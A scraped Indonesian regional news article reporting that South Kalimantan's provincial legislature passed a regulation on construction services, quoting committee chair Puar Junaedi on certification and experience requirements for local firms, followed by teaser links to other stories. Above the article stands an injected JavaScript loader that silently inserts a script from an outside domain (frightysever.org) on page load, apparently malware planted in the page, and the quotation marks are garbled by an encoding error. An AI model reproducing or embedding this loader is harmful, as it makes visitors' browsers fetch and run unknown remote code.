(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Terhambat selama setahun, akhirnya Raperda tentang penyelenggaraan jasa kontruksi kini telah disahkan. Anggota DPRD Kalsel, Puar Junaedi yang dipercaya sebagai Ketua Pansus Raperda Penyelenggaraan Jasa dan Kontruksi mengatakan, keterlambatan ini terjadi akibat belum terbitnya Peraturan Pemerintah (PP). “(PP yang belum terbit) itulah yang menyebabkan keterlambatan daripada penetapan perda itu untuk dilakukan fasilitasi. Sejak 2018 hampir satu tahun pembahasan,†ungkapnya.
Ditambahkan olehnya, keterlembatan ini menyangkut perihal persyaratan-persyaratan dalam ketentuan perundang-perundangan. Ia mengambil contoh persyaratan ihwal tenaga teknik yang memiliki sertifikasi keahlian.
“Itu tidak mesti harus setiap bidang pekerjaan, jadi setiap perusahaan itu kan cukup satu. Karena dari jumlah perusahaan dengan jumlah SDM yang sesuai dengan disiplin ilmunya itu, tidak sebanding. Jadi tidak mungkin perusahaan itu menyediakan sejumlah tenaga ahli sesuai dengan masing-masing bidang,†urainya.
Dijelaskan lebih lanjut, dengan Perda ini ia berharap, agar perusahaan tidak lagi dibebani dengan peraturan dimana setiap perusahaan harus mempunyai staf ahli di masing-masing bidang. “Jadi cukup satu perusahaan, karena tidak mungkin satu perusahaan itu setiap tahun mendapat pekerjaan. Kalau misalkan tenaga teknik itu dengan biaya pengajian secara permanen, itu tidak mungkin dilakukan oleh perusahaan, karena tidak ada jaminan setiap tahun perusahaan itu memiliki pekerjaan,†jelasnya.
Oleh sebab itu, ia berjarap, Perda dapat memberikan ketentuan dan solusi yang dapat memberikan kesempatan serta peluang kepada para perusahaan untuk berpartisipasi mengikuti kegiatan pelelangan yang dilakukan oleh pemerintah daerah.
Dengan adanya Perda ini juga, dapat memperkuat posisi kedudukan perusahaan. Dan juga sebagai landasan aturan, lantaran kendala bagi perusahaan adanya aturan yang tidak memungkinkan untuk bisa dipenuhi pihak perusahaan.
“Contoh lainnya harus punya pengalaman kerja. Kalau dia tidak punya pekerjaan, bagaimana bisa memiliki pengalaman kerja. Yang berarti ini nanti akan dimonopoli oleh orang yang sudah mendapatkan pada bidang itu,†beber Puar.
Ia menaruh harapan besar dengan adanya Perda itu, terutama bagi perusahaan daerah ketika ada lelang yang dari pemerintah daerah, perusahaan daerah bisa ikut serta. Sehingga lelang tidak hanya didominasi oleh perusahaan-perusahaan dari luar. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.